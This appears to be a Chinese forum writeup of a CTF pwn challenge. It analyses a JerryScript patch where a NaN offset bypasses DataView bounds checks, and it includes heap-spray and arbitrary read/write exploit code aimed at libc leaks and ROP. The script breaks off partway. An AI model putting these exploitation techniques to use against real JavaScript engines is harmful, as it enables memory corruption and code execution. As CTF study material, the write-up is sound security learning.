找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1138

积分

0

好友

144

主题
发表于 昨天 06:59 | 查看: 0| 回复: 0

听说第八届“强网”拟态防御国际精英挑战赛有一道关于JerryScript的Pwn题,笔者抽空尝试分析了一下。当时虽然构造出了8字节的越界读写原语,但受限于GC(垃圾回收)机制,一直未能成功利用。如果时间更充裕,或许能成功。

不过在调试过程中,笔者深入了解了这个JavaScript引擎的一些内部机制,发现相比V8要简单不少。赛后与其他师傅交流,才发现可以通过题目补丁中的一处漏洞实现任意长度的越界读写。因此笔者尝试复现了漏洞利用过程,并撰写了这篇详细的Writeup。

题目信息

题目提供了几个程序运行的链接库,查看版本是Ubuntu GLIBC 2.39-0ubuntu8.6。由于笔者本地环境为WSL2 Ubuntu 22,因此对本地环境进行了补丁适配。

首先查看jerryscript的版本信息:

➜  jerry ./jerry --version
Version: 3.0.0 (b7069350)

接着在本地编译一个相同版本的环境。最终会在 build/bin 目录下生成一个名为 jerry 的可执行文件。

git clone https://github.com/jerryscript-project/jerryscript.git
cd jerryscript
git checkout b7069350
patch -p1 < ../patch
python tools/build.py --debug --lto=off

前置知识

类型系统

类型的定义位于 jerryscript/jerry-core/ecma/base/ecma-globals.h 文件中。

ecma_object_t 是所有对象类型头部的起始部分,主要包含 typegc_next_cpu1u2 等字段。

其中 u1u2 分别与属性(properties)和原型链(prototype)相关,并非所有对象都包含这两个字段。

typedef struct
{
/** type : 4 bit : ecma_object_type_t or ecma_lexical_environment_type_t
                    depending on ECMA_OBJECT_FLAG_BUILT_IN_OR_LEXICAL_ENV
      flags : 2 bit : ECMA_OBJECT_FLAG_BUILT_IN_OR_LEXICAL_ENV,
                      ECMA_OBJECT_FLAG_EXTENSIBLE or ECMA_OBJECT_FLAG_BLOCK
      refs : 10 / 26 bit (max 1022 / 67108862) */
  ecma_object_descriptor_t type_flags_refs;

/** next in the object chain maintained by the garbage collector */
  jmem_cpointer_t gc_next_cp;

/** compressed pointer to property list or bound object */
  union
  {
    jmem_cpointer_t property_list_cp; /**< compressed pointer to object's
                                       *   or declerative lexical environments's property list */
    jmem_cpointer_t bound_object_cp; /**< compressed pointer to lexical environments's the bound object */
    jmem_cpointer_t home_object_cp; /**< compressed pointer to lexical environments's the home object */
  } u1;

/** object prototype or outer reference */
  union
  {
    jmem_cpointer_t prototype_cp; /**< compressed pointer to the object's prototype  */
    jmem_cpointer_t outer_reference_cp; /**< compressed pointer to the lexical environments's outer reference  */
  } u2;
} ecma_object_t;

type_flags_refs 中的 Type 表示对象类型,但不像V8那样细分为 object array、double array 等。

其中的 refs 字段对于利用的稳定性至关重要。如果对象发生越界,可以通过修改这个字段来防止对象被 GC 回收,从而保持内存布局的稳定。

笔者在实际利用过程中并未采用此法,当时未意识到这一点,回顾源码时才发觉。因此采用了人为构造函数来增加引用计数(ref count)的替代方案。

其内存布局简示如下:

|31 ......... 6|5 ....4|3 ..... 0|
|   Reference Count   |  Flags  |Type    |
|     (26 bits)      |(2 bits)|(4 bits)|

紧随其后的 gc_next_cp 字段用于垃圾回收时扫描对象链表。u1 与对象属性相关,在受限条件下,可通过修改此字段实现类型混淆。u2 与原型链相关,目前尚未找到明确的利用方式。

笔者曾尝试利用 u2,但由于稳定性问题,未能构造出高效的原语,有待后续研究……

下面是 ecma_extended_object_t 结构体:

typedef struct
{
  ecma_object_t object; /**< object header */

/**
   * Description of extra fields. These extra fields depend on the object type.
   */
  union
  {
    ecma_built_in_props_t built_in; /**< built-in object part */

/**
     * Description of objects with class.
     *
     * Note:
     *     class is a reserved word in c++, so cls is used instead
     */
    struct
    {
      uint8_t type; /**< class type of the object */
/**
       * Description of 8 bit extra fields. These extra fields depend on the type.
       */
      union
      {
        uint8_t arguments_flags; /**< arguments object flags */
        uint8_t error_type; /**< jerry_error_t type of native error objects */
#if JERRY_BUILTIN_DATE
        uint8_t date_flags; /**< flags for date objects */
#endif /* JERRY_BUILTIN_DATE */
#if JERRY_MODULE_SYSTEM
        uint8_t module_state; /**< Module state */
#endif /* JERRY_MODULE_SYSTEM */
        uint8_t iterator_kind; /**< type of iterator */
        uint8_t regexp_string_iterator_flags; /**< flags for RegExp string iterator */
        uint8_t promise_flags; /**< Promise object flags */
#if JERRY_BUILTIN_CONTAINER
        uint8_t container_flags; /**< container object flags */
#endif /* JERRY_BUILTIN_CONTAINER */
#if JERRY_BUILTIN_TYPEDARRAY
        uint8_t array_buffer_flags; /**< ArrayBuffer flags */
        uint8_t typedarray_type; /**< type of typed array */
#endif /* JERRY_BUILTIN_TYPEDARRAY */
      } u1;
/**
       * Description of 16 bit extra fields. These extra fields depend on the type.
       */
      union
      {
        uint16_t formal_params_number; /**< for arguments: formal parameters number */
#if JERRY_MODULE_SYSTEM
        uint16_t module_flags; /**< Module flags */
#endif /* JERRY_MODULE_SYSTEM */
        uint16_t iterator_index; /**< for %Iterator%: [[%Iterator%NextIndex]] property */
        uint16_t executable_obj_flags; /**< executable object flags */
#if JERRY_BUILTIN_CONTAINER
        uint16_t container_id; /**< magic string id of a container */
#endif /* JERRY_BUILTIN_CONTAINER */
#if JERRY_BUILTIN_TYPEDARRAY
        uint16_t typedarray_flags; /**< typed array object flags */
#endif /* JERRY_BUILTIN_TYPEDARRAY */
      } u2;
/**
       * Description of 32 bit / value. These extra fields depend on the type.
       */
      union
      {
        ecma_value_t value; /**< value of the object (e.g. boolean, number, string, etc.) */
        ecma_value_t target; /**< [[ProxyTarget]] or [[WeakRefTarget]] internal property */
#if JERRY_BUILTIN_TYPEDARRAY
        ecma_value_t arraybuffer; /**< for typedarray: ArrayBuffer reference */
#endif /* JERRY_BUILTIN_TYPEDARRAY */
        ecma_value_t head; /**< points to the async generator task queue head item */
        ecma_value_t iterated_value; /**< for %Iterator%: [[IteratedObject]] property */
        ecma_value_t promise; /**< PromiseCapability[[Promise]] internal slot */
        ecma_value_t sync_iterator; /**< IteratorRecord [[Iterator]] internal slot for AsyncFromSyncIterator */
        ecma_value_t spread_value; /**< for spread object: spreaded element */
        int32_t tza; /**< TimeZone adjustment for date objects */
        uint32_t length; /**< length related property (e.g. length of ArrayBuffer) */
        uint32_t arguments_number; /**< for arguments: arguments number */
#if JERRY_MODULE_SYSTEM
        uint32_t dfs_ancestor_index; /**< module dfs ancestor index (ES2020 15.2.1.16) */
#endif /* JERRY_MODULE_SYSTEM */
      } u3;
    } cls;

/**
     * Description of function objects.
     */
    struct
    {
      jmem_cpointer_tag_t scope_cp; /**< function scope */
      ecma_value_t bytecode_cp; /**< function byte code */
    } function;

/**
     * Description of array objects.
     */
    struct
    {
      uint32_t length; /**< length property value */
      uint32_t length_prop_and_hole_count; /**< length property attributes and number of array holes in
                                            *   a fast access mode array multiplied ECMA_FAST_ACCESS_HOLE_ONE */
    } array;

/**
     * Description of bound function object.
     */
    struct
    {
      jmem_cpointer_tag_t target_function; /**< target function */
      ecma_value_t args_len_or_this; /**< length of arguments or this value */
    } bound_function;

/**
     * Description of implicit class constructor function.
     */
    struct
    {
      ecma_value_t script_value; /**< script value */
      uint8_t flags; /**< constructor flags */
    } constructor_function;
  } u;
} ecma_extended_object_t;

简化后,其核心结构是 ecma_object_t object 和一个联合体 union u。其中的 object 就是上文提到的通用类型头部。对于复杂类型,会使用 ecma_extended_object_t,其内部的联合体 union u 会根据不同的对象类型选择不同的字段,以此定义特定对象的属性。

以下是与利用相关的部分简化视图:

typedef struct
{
  ecma_object_t object;

  union
  {
    struct
    {
      uint8_t type;

      union {
        uint8_t array_buffer_flags;
        uint8_t typedarray_type;
      } u1;

      union {
        uint16_t typedarray_flags;
      } u2;

      union {
        uint32_t length;
        ecma_value_t arraybuffer;
        ecma_value_t value;
      } u3;
    } cls;

    struct
    {
      uint32_t length;
      uint32_t length_prop_and_hole_count;
    } array;

    struct
    {
      jmem_cpointer_tag_t scope_cp;
      ecma_value_t bytecode_cp;
    } function;

    struct
    {
      jmem_cpointer_tag_t target_function;
      ecma_value_t args_len_or_this;
    } bound_function;

  } u;
} ecma_extended_object_t;

类型调试实例

笔者借鉴了部分V8漏洞利用中的调试技巧,并借助AI编写了一个针对JerryScript的GDB插件,大大提升了调试效率。

这里以DataView对象为例进行调试。

let ab = new ArrayBuffer(0x100);
let dv = new DataView(ab,0x10,0x20);
dv.setUint32(0x00,0x41414141,true);

DataView的结构定义如下:

typedef struct
{
  ecma_extended_object_t header; /**< header part */
  ecma_object_t *buffer_p; /**< [[ViewedArrayBuffer]] internal slot */
  uint32_t byte_offset; /**< [[ByteOffset]] internal slot */
} ecma_dataview_object_t;

ArrayBuffer的结构定义如下:

typedef struct
{
  ecma_extended_object_t extended_object; /**< extended object part */
  void *buffer_p; /**< pointer to the backing store of the array buffer object */
  void *arraybuffer_user_p; /**< user pointer passed to the free callback */
} ecma_arraybuffer_pointer_t;

实际内存布局如图所示,其中地址 0x62e46178e5f0 处的 DWORD 值 0x10 就是设置的 byte_offset

注意下方的 0x41414141,这里是以内联(inline)形式存储的数据,不利于后续的利用,这是后话了。

DataView内存布局与ArrayBuffer指针

如何让ArrayBuffer分配出一个独立的原始指针(raw pointer)呢?只需增加ArrayBuffer的分配大小即可,例如将其提升到 0x1000

大尺寸ArrayBuffer的独立内存分配

漏洞分析

代码审计思路

首先查看补丁(diff)内容:

diff --git a/jerry-core/ecma/operations/ecma-conversion.c b/jerry-core/ecma/operations/ecma-conversion.c
index cf0c9fde..5c1b7aa2 100644
--- a/jerry-core/ecma/operations/ecma-conversion.c
+++ b/jerry-core/ecma/operations/ecma-conversion.c
@@ -905,7 +905,6 @@
   /* 3 */
   if (ecma_number_is_nan (number))
   {
-    *number_p = ECMA_NUMBER_ZERO;
     return ECMA_VALUE_EMPTY;
   }

补丁删除了对 NaN 值的一处检查。定位到源码,可找到函数 [A] ecma_op_to_integer,进而发现其上层调用者分别是 [B] ecma_op_to_length[C] ecma_op_to_index 函数。

ecma_value_t
ecma_op_to_integer (ecma_value_t value, /**< ecma value */
                    ecma_number_t *number_p) /**< [out] ecma number */
{// [A]
  ......
  ecma_number_t number = *number_p;

  /* 3 */
  if (ecma_number_is_nan (number))
  {
    return ECMA_VALUE_EMPTY;
  }
  ......

ecma_value_t
ecma_op_to_length (ecma_value_t value, /**< ecma value */
                   ecma_length_t *length) /**< [out] ecma number */
{//[B]
  /* 1 */
  if (ECMA_IS_VALUE_ERROR (value))
  {
    return value;
  }

  /* 2 */
  ecma_number_t num;
  ecma_value_t length_num = ecma_op_to_integer (value, &num);
  ......

ecma_value_t
ecma_op_to_index (ecma_value_t value, /**< ecma value */
                  ecma_number_t *index) /**< [out] ecma number */
{//[C]
  /* 1. */
  if (ecma_is_value_undefined (value))
  {
    *index = 0;
    return ECMA_VALUE_EMPTY;
  }

  /* 2.a */
  ecma_number_t integer_index;
  ecma_value_t index_value = ecma_op_to_integer (value, &integer_index);

接着查找更上层的调用。ecma_op_to_length 函数更多地被字符串和正则表达式相关处理调用,即使存在漏洞,可利用性也可能不佳。因此,笔者重点审计了 ecma_op_to_index 的上层调用。

ecma_op_to_length的调用搜索

ecma_op_to_index 的上层调用如下图所示。可以看到两个非常具有代表性的对象:DataViewTypedArray。如果熟悉V8漏洞利用的话,这两个对象嫌疑最大,事实也确实如此。接下来,笔者重点审计了 DataView 相关的实现。

TypedArray 的代码似乎没有明显的漏洞,因此主要审计了 DataView

ecma_op_to_index的调用搜索

dataview相关代码审计

首先需要了解 JerryScript 中 DataView 对象的结构,所有结构体定义都位于 jerryscript/jerry-core/ecma/base/ecma-globals.h 文件中。

可以看到它使用了 ecma_extended_object_t 作为头部,这是复杂对象的通用头部,内部集成了 ecma_object_t。接着是一个 buffer_p 指针,指向关联的 ArrayBuffer。最后是 byte_offset,用于索引 ArrayBuffer 中的偏移。

#if JERRY_BUILTIN_DATAVIEW
/**
 * Description of DataView objects.
 */
typedef struct
{
  ecma_extended_object_t header; /**< header part */
  ecma_object_t *buffer_p; /**< [[ViewedArrayBuffer]] internal slot */
  uint32_t byte_offset; /**< [[ByteOffset]] internal slot */
} ecma_dataview_object_t;
#endif /* JERRY_BUILTIN_DATAVIEW */

接着看 ArrayBuffer 的对象结构,其 buffer_p 类似于 V8 中的 backing store。

typedef struct
{
  ecma_extended_object_t extended_object; /**< extended object part */
  void *buffer_p; /**< pointer to the backing store of the array buffer object */
  void *arraybuffer_user_p; /**< user pointer passed to the free callback */
} ecma_arraybuffer_pointer_t;

可以通过动态调试来观察。测试代码如下:

let ab = new ArrayBuffer(0x100);
let dv = new DataView(ab,0x10);
dv.setUint32(0,0x11111111,true);

其中地址 0x62e46178e5f0 处的 DWORD 0x10 就是这里设置的 byte_offset

DataView内存布局展示

同时,DataView 还支持指定视图长度(view length)的语法。例如,下面代码设置了视图偏移为 0x10,但尝试访问 0x20 的位置,这会导致越界错误。

let ab = new ArrayBuffer(0x100);
let dv = new DataView(ab,0x10,0x10);
dv.setUint32(0x20,0x11111111,true); // error
ecma_op_dataview_create

首先审计 ecma_op_dataview_create 这个函数,它负责 DataView 对象的创建,代码位于 jerryscript/jerry-core/ecma/operations/ecma-dataview-object.c

ecma_value_t
ecma_op_dataview_create (const ecma_value_t *arguments_list_p, /**< arguments list */
                         uint32_t arguments_list_len) /**< number of arguments */
{
  JERRY_ASSERT (arguments_list_len == 0 || arguments_list_p != NULL);
  JERRY_ASSERT (JERRY_CONTEXT (current_new_target_p));

  ecma_value_t buffer = arguments_list_len > 0 ? arguments_list_p[0] : ECMA_VALUE_UNDEFINED;

  /* 2. */
  if (!ecma_is_value_object (buffer))
  {
    return ecma_raise_type_error (ECMA_ERR_ARGUMENT_BUFFER_NOT_OBJECT);
  }

  ecma_object_t *buffer_p = ecma_get_object_from_value (buffer);

  if (!(ecma_object_class_is (buffer_p, ECMA_OBJECT_CLASS_ARRAY_BUFFER)
        || ecma_object_is_shared_arraybuffer (buffer_p)))
  {
    return ecma_raise_type_error (ECMA_ERR_ARGUMENT_BUFFER_NOT_ARRAY_OR_SHARED_BUFFER);
  }

  /* 3. */
  ecma_number_t offset = 0;

  if (arguments_list_len > 1)
  {
    ecma_value_t offset_value = ecma_op_to_index (arguments_list_p[1], &offset);//[a]
    if (ECMA_IS_VALUE_ERROR (offset_value))
    {
      return offset_value;
    }
  }

  /* 4. */
  if (ecma_arraybuffer_is_detached (buffer_p))
  {
    return ecma_raise_type_error (ECMA_ERR_ARRAYBUFFER_IS_DETACHED);
  }

  /* 5. */
  ecma_number_t buffer_byte_length = ecma_arraybuffer_get_length (buffer_p);

  /* 6. */
  if (offset > buffer_byte_length)
  {
    return ecma_raise_range_error (ECMA_ERR_START_OFFSET_IS_OUTSIDE_THE_BOUNDS_OF_THE_BUFFER);
  }

  /* 7. */
  uint32_t view_byte_length;
  if (arguments_list_len > 2 && !ecma_is_value_undefined (arguments_list_p[2]))
  {
    /* 8.a */
    ecma_number_t byte_length_to_index;
    ecma_value_t byte_length_value = ecma_op_to_index (arguments_list_p[2], &byte_length_to_index);

    if (ECMA_IS_VALUE_ERROR (byte_length_value))
    {
      return byte_length_value;
    }

    /* 8.b */
    if (offset + byte_length_to_index > buffer_byte_length)//[b]
    {
      return ecma_raise_range_error (ECMA_ERR_START_OFFSET_IS_OUTSIDE_THE_BOUNDS_OF_THE_BUFFER);
    }

    JERRY_ASSERT (byte_length_to_index <= UINT32_MAX);
    view_byte_length = (uint32_t) byte_length_to_index;
  }
  else
  {
    /* 7.a */
    view_byte_length = (uint32_t) (buffer_byte_length - offset);
  }

  /* 9. */
  ecma_object_t *prototype_obj_p =
  ecma_op_get_prototype_from_constructor (JERRY_CONTEXT (current_new_target_p), ECMA_BUILTIN_ID_DATAVIEW_PROTOTYPE);
  if (JERRY_UNLIKELY (prototype_obj_p == NULL))
  {
    return ECMA_VALUE_ERROR;
  }

  /* 10. */
  if (ecma_arraybuffer_is_detached (buffer_p))
  {
    ecma_deref_object (prototype_obj_p);
    return ecma_raise_type_error (ECMA_ERR_ARRAYBUFFER_IS_DETACHED);
  }

  /* 9. */
  /* It must happen after 10., because uninitialized object can't be destroyed properly. */
  ecma_object_t *object_p =
  ecma_create_object (prototype_obj_p, sizeof (ecma_dataview_object_t), ECMA_OBJECT_TYPE_CLASS);

  ecma_deref_object (prototype_obj_p);

  /* 11 - 14. */
  ecma_dataview_object_t *dataview_obj_p = (ecma_dataview_object_t *) object_p;
    dataview_obj_p->header.u.cls.type = ECMA_OBJECT_CLASS_DATAVIEW;
    dataview_obj_p->header.u.cls.u3.length = view_byte_length;
    dataview_obj_p->buffer_p = buffer_p;
    dataview_obj_p->byte_offset = (uint32_t) offset;

  return ecma_make_object_value (object_p);
} /* ecma_op_dataview_create */

函数首先从参数列表中获取 buffer(即 ArrayBuffer),并检查其类型是否合法。

接着通过参数列表为 offset 赋值。注意上方 [a] 处调用了 ecma_op_to_index。这个函数涉及 NaN 的处理:正常情况下,遇到 NaN 会将其清零为 0,并返回正常状态码 ECMA_VALUE_EMPTY。但由于补丁删除了清零操作,offset 变量会保留原始的 NaN 值,并正常通过检查。

ecma_op_to_index调用处的调试状态

接着获取 ArrayBuffer 的长度并赋值给 buffer_byte_length。然后进入 if (offset > buffer_byte_length) 判断。

边界检查前的代码与堆栈

漏洞就出现在这里。在汇编层面,比较逻辑是将栈上的 offset 值(NaN)加载到浮点寄存器 xmm0,然后调用 comisd 指令进行比较。

在 x86/x64 汇编中,当 comisd 指令的任一操作数为 NaN 时,它会设置 ZF=1, PF=1, CF=1。随后的 jbe 指令(无符号小于等于跳转)的跳转条件是 CF=1ZF=1。因此,只要比较中涉及 NaN,该条件判断都会成立,从而绕过边界检查。

汇编指令与比较逻辑

可以通过调试 eflags 寄存器来验证。比较之前:

pwndbg> info registers eflags
eflags         0x206               [ PF IF ]

比较之后(注意 CF 和 ZF 被置位):

pwndbg> info registers eflags
eflags         0x247               [ CF PF ZF IF ]

由此可以得出结论:对于检查 if (offset > buffer_byte_length),当 offset = NaN 时,条件判断为假,检查被绕过。

同理,这个绕过模式可以扩展到 if (offset + byte_length_to_index > buffer_byte_length)(即上方的 [b] 处)。因为 NaN 加上任意值仍然是 NaN,比较结果同样为假。

要触发 [b] 处的检查,只需传入三个参数,即使用之前提到的指定视图长度的语法:

let ab = new ArrayBuffer(0x100);
let dv = new DataView(ab, NaN, 0xffffffff);

这里,我们将 view_byte_length 设置为 0xffffffff,而 buffer_byte_length 仅为 0x100。由于 offset 是 NaN,比较时的 eflags 如下,再次绕过了边界检查。

绕过 offset + length 检查时的调试状态

最终,NaN 在被类型转换为 uint32_t 时变为 0,但 view_byte_length 被成功赋值为 0xffffffff。至此,我们已经成功构造了一个存在越界的 DataView 对象。

现在需要分析 DataView 的读/写操作,看是否可以将此漏洞扩大为可用的越界读写原语。

DataView对象创建成功,length字段被修改

ecma_op_dataview_get_set_view_value

有了分析 ecma_op_dataview_create 的经验,我们只需在此函数中寻找边界检查的部分。以下是该函数的精简代码,重点关注边界检查:

ecma_value_t
ecma_op_dataview_get_set_view_value (ecma_value_t view, /**< the operation's 'view' argument */
                                     ecma_value_t request_index, /**< the operation's 'requestIndex' argument */
                                     ecma_value_t is_little_endian_value, /**< the operation's
                                                                            *   'isLittleEndian' argument */
                                     ecma_value_t value_to_set, /**< the operation's 'value' argument */
                                     ecma_typedarray_type_t id) /**< the operation's 'type' argument */
{
  /* 1 - 2. */
  ecma_dataview_object_t *view_p = ecma_op_dataview_get_object (view);

  if (JERRY_UNLIKELY (view_p == NULL))
  {
    return ECMA_VALUE_ERROR;
  }

  ecma_object_t *buffer_p = view_p->buffer_p;
  JERRY_ASSERT (ecma_object_class_is (buffer_p, ECMA_OBJECT_CLASS_ARRAY_BUFFER)
                || ecma_object_is_shared_arraybuffer (buffer_p));

  /* 3. */
  ecma_number_t get_index;
  ecma_value_t number_index_value = ecma_op_to_index (request_index, &get_index);

  if (ECMA_IS_VALUE_ERROR (number_index_value))
  {
    return number_index_value;
  }

  ..........

  /* GetViewValue 7., SetViewValue 9. */
  uint32_t view_offset = view_p->byte_offset;

  /* GetViewValue 8., SetViewValue 10. */
  uint32_t view_size = view_p->header.u.cls.u3.length;

  /* GetViewValue 9., SetViewValue 11. */
  uint8_t element_size = (uint8_t) (1 << (ecma_typedarray_helper_get_shift_size (id)));

  /* GetViewValue 10., SetViewValue 12. */
  if (get_index + element_size > (ecma_number_t) view_size)//[a]
  {
    ecma_free_value (value_to_set);
    return ecma_raise_range_error (ECMA_ERR_START_OFFSET_IS_OUTSIDE_THE_BOUNDS_OF_THE_BUFFER);
  }

  if (ECMA_ARRAYBUFFER_LAZY_ALLOC (buffer_p))
  {
    ecma_free_value (value_to_set);
    return ECMA_VALUE_ERROR;
  }

  if (ecma_arraybuffer_is_detached (buffer_p))
  {
    ecma_free_value (value_to_set);
    return ecma_raise_type_error (ECMA_ERR_ARRAYBUFFER_IS_DETACHED);
  }

  /* GetViewValue 11., SetViewValue 13. */
  bool system_is_little_endian = ecma_dataview_check_little_endian ();

  ecma_typedarray_info_t info;
    info.id = id;
    info.length = view_size;
    info.shift = ecma_typedarray_helper_get_shift_size (id);
    info.element_size = element_size;
    info.offset = view_p->byte_offset;
    info.array_buffer_p = buffer_p;

  /* GetViewValue 12. */
  uint8_t *block_p = ecma_arraybuffer_get_buffer (buffer_p) + (uint32_t) get_index + view_offset;

  ..........
} /* ecma_op_dataview_get_set_view_value */

构造如下调试代码,利用越界的 dv 进行读操作:

let ab = new ArrayBuffer(0x100);
let dv = new DataView(ab, NaN, 0xffffffff);
dv.getUint32(0x200, true);

首先分析源码。注释1-3部分是对 DataView 头部和 ArrayBuffer 头部的检查,如果单纯修改指针,这些检查将无法通过。

直接看上方 [a] 部分的边界检查:if (get_index + element_size > (ecma_number_t) view_size)。逻辑是检查用户传入的索引 get_index 加上数据类型大小 element_size 是否超过了 view_size

关键在于,这里的 view_size 已经被我们通过漏洞修改成了 0xffffffff。因此,对于任何合理的 get_index,这个检查都会直接通过。

此时 get_index0x200,已经超过了原始 ArrayBuffer 的长度。但由于 view_size 被改得极大,后续的内存访问便实现了越界。最后,block_p 指向了计算出的越界地址,后续便是实际的读/写操作。

越界读写检查绕过时的调试信息

至此,我们已经获得了任意越界读写的能力。

漏洞利用

由于笔者也是第一次接触 JerryScript 的漏洞利用,最终的利用脚本经过了大量调试。这里主要解释一下编写利用脚本的核心思路。

泄漏 jerry_global_heap

我们已经获得了一个可以越界读写的 dv,接下来需要使其变得可控。

前文提到,可以通过申请长度较大(如 0x1000)的 ArrayBuffer,使其不再以内联(inline)方式存储数据,而是分配一个独立的原始指针(raw pointer)。因此,可以利用越界的 dv 去读取内存后方某个 ArrayBuffer 对象中的 buffer_p 字段,从而至少获取一个 JerryScript 堆(jerry heap)内部的地址。

通过越界读取定位ArrayBuffer的buffer_p指针

接下来的问题是如何精确定位这个受害的 ArrayBuffer。首先,需要确保越界的 dv 在内存中位于受害 ArrayBuffer 的前方。通过调试发现,这个布局是稳定的。

堆内存布局与特征值扫描

最简单的定位思路是写入一个特征值(Magic Value)并扫描。但问题在于,即使扫描到这个特征值,我们也无法直接反推出它所属的 ArrayBuffer 对象的起始地址。如下图所示,只能扫描到特征值本身。

特征值在内存中的位置

解决这个问题需要思考 ArrayBuffer 对象的特征。ArrayBuffer 的特征由其头部的若干字段决定,例如类型(Type)、GC 链表指针(gc_next)、原型指针(prototype)等。

pwndbg> x/4wx 0x5d89998be768
0x5d89998be768 <jerry_global_heap+70888>:  0x22990012  0x016c0000  0x00000319  0x00001000

因此,笔者选取了 Type、ProtoType 和 ByteLength 这三个字段。在堆喷(heap spraying)产生的众多对象中,这些字段的值对于同一个 ArrayBuffer 类型是相对一致的。通过匹配这些头部字段,可以精确定位到受害 ArrayBuffer 对象的位置,而紧邻其后的内存区域就可能包含 jerry_global_heap 段的相关信息。

通过上述方法,可以得到一个堆地址。减去偏移量 0x11a30 可以得到一个内存段(segment)的起始地址,但这个偏移量是随机的,取决于脚本和环境。

通过xinfo命令分析内存段偏移

为了稳定性,笔者进行了如下计算。在不同环境下,最终地址可能在加减 0x9000 的范围内摆动。

let ptr_lo = dv.getUint32(target_idx * 8, true);
let ptr_hi = dv.getUint32(target_idx * 8 + 4, true);
let heap_global_addr = (BigInt(ptr_hi) << 32n) | BigInt(ptr_lo);
heap_global_addr = heap_global_addr - 0x11058n;
heap_global_addr = heap_global_addr & ~0xfffn;

// 题目下发版本的偏移
heap_global_addr = heap_global_addr + 0x280n;
// heap_global_addr = heap_global_addr - 0x9000n + 0x280n;

可以看到,jerry_global_heap 的起始地址是所在内存段的起始地址加上 0x280

jerry_global_heap段起始地址

同时,在 jerry_global_heap 开头的一段内存中,存放着一些函数指针。接下来需要思考如何利用这些指针泄漏出代码基址(code_base)、libc 基址等信息。

jerry_global_heap段内的函数指针

将越界读写转化为任意地址读写

通过上述思路,我们确实定位到了受害 ArrayBuffer 的头部。但由于这些 ArrayBuffer 是堆喷出来的(如下代码所示),我们还需要确定具体是哪一个 ArrayBuffer 对象。

function inin_dv(arr,arr_length,ab_length){
    for(let i=0; i<arr_length; i++) {
        arr.push(new DataView(new ArrayBuffer(ab_length)));
    }

    for (let i=0; i<arr_length; i++) {
        arr[i].setFloat64(0, u64_to_f64(MagicSign), true);
    }
    return arr;
}

定位具体受害 ArrayBuffer 的思路很清晰:既然我们可以越界读并定位到受害 ArrayBuffer 的头部,就可以通过越界写修改该 ArrayBuffer 的 byteLength 字段,然后遍历所有 ArrayBuffer 对象,检查哪一个对象的 byteLength 被修改了。这样,我们就能精确定位到受害的 ArrayBuffer。

定位到具体的 ArrayBuffer 后,实现任意地址读写就很简单了:修改该 ArrayBuffer 的 buffer_p 字段,然后通过其关联的 DataView 的 get/set 方法进行读写即可。

避免 GC 回收的影响

为了提高任意地址读写的稳定性,笔者发现完成一次任意读写后,有时会触发 GC 导致内存移动。如果此时 buffer_p 指向一个 GC 无法回收的地址,程序就会崩溃。解决思路很简单:在完成任意读写操作后,将 buffer_p 修改回原来的值。

同时,为了防止我们精心布置的受害对象(victim object)被 GC 回收,可以通过以下方式增加其引用计数(ref count):

function MakeRef(){
    return [vic_dv_array];
}

当然,也可以采用上文提到的思路,直接利用越界能力去修改对象的 ref count 字段,同样可以达到目的。

泄漏 libc 基址

获得任意读写能力后,可以通过读取 jerry_global_heap 段开头附近的一些处理函数(handler)指针,来确定代码基址(code_base),进而定位到全局偏移表(GOT),从而泄漏出位于 libc 中的函数地址。

GOT表信息与libc函数地址

获取Shell

笔者由于很久未接触新的堆利用(House of)手法,不清楚在 GLIBC 2.39 下该如何利用。因此,这里采用了通过 environ 变量泄漏栈地址的方式,然后劫持 main 函数的返回地址,实现 ROP(返回导向编程)。

Exploit脚本

完整的利用脚本(Exploit)如下所示。在本地测试时,堆地址可能在下述两种计算方式间变化,若一种方式未成功,可以尝试另一种。

var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);

function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
function f64_to_u32l(val){
    f64[0] = val;
    return u32[0];
}
function f64_to_u32h(val){
    f64[0] = val;
    return u32[1];
}
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}

function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}

function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}

function logg(name, addr) {
    print("[+] " + name + ": 0x" + addr.toString(16));
}

let grooming = [];
function gc() {
    print("
  • GC initiated");     for (let i = 0; i < 200; i++) {         grooming.push(new ArrayBuffer(0x100));     }     print("
  • GC completed"); } function spin() {     while (1) {} } function inin_dv(arr,arr_length,ab_length){     for(let i=0; i<arr_length; i++) {         arr.push(new DataView(new ArrayBuffer(ab_length)));     }     for (let i=0; i<arr_length; i++) {         arr[i].setFloat64(0, u64_to_f64(MagicSign), true);     }     return arr; } function getType(val){     return (val) & 0xffn; } function getByteLength(val){     return (val >> 32n) & 0xffffffffn; } function getProtoType(val){     return (val) & 0xffffffffn; } function find_victim_ab_idx(oob_dv,feature){     /*     let feature = [0x940000200c0012n,0x100000000319n];     pwndbg> x/4wx 0x57086ef86300     0x57086ef86300 <jerry_global_heap+65664>:  0x200c0012  0x00940000  0x00000319  0x00001000     pwndbg> x/4wx 0x57086ef86340     0x57086ef86340 <jerry_global_heap+65728>:  0x20140012  0x00940000  0x00000319  0x00001000     pwndbg>     */     print("
  • find_victim_ab_idx");     let Types = getType(feature[0]);     let ProtoType = getProtoType(feature[1]);     let ByteLength = getByteLength(feature[1]);     let val = [];     for (let i = 0; i < 0x5000; i++) {         val[0] = f64_to_u64(oob_dv.getFloat64(i*8, true));         if (getType(val[0]) == Types){             val[1] = f64_to_u64(oob_dv.getFloat64((i+1)*8, true));             if (getProtoType(val[1]) == ProtoType && getByteLength(val[1]) == ByteLength){                 target_idx = i + 2;                 logg("target_idx: ",target_idx);                 return target_idx;             }         }     }     return -1; } function find_corrupt_dv(oob_dv, dv_arr){     print("
